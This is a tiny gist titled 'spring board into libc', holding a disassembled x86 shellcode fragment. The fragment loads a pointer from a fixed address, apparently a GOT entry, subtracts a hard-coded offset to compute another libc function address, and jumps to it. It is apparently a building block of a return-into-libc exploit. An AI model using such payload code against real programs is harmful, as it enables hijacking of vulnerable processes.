spring board into libc

gistfile1.asm

  3a:	89 04 24             	mov    %eax,(%esp)
  3d:	31 db                	xor    %ebx,%ebx
  3f:	89 58 02             	mov    %ebx,0x2(%eax)
  42:	bb 08 a0 04 08       	mov    $0x804a008,%ebx
  47:	8b 03                	mov    (%ebx),%eax
  49:	bb ff ff ff 7f       	mov    $0x7fffffff,%ebx
  4e:	81 eb 2f 59 fc 7f    	sub    $0x7ffc592f,%ebx
  54:	29 d8                	sub    %ebx,%eax
  56:	83 ec 04             	sub    $0x4,%esp
  59:	ff e0                	jmp    *%eax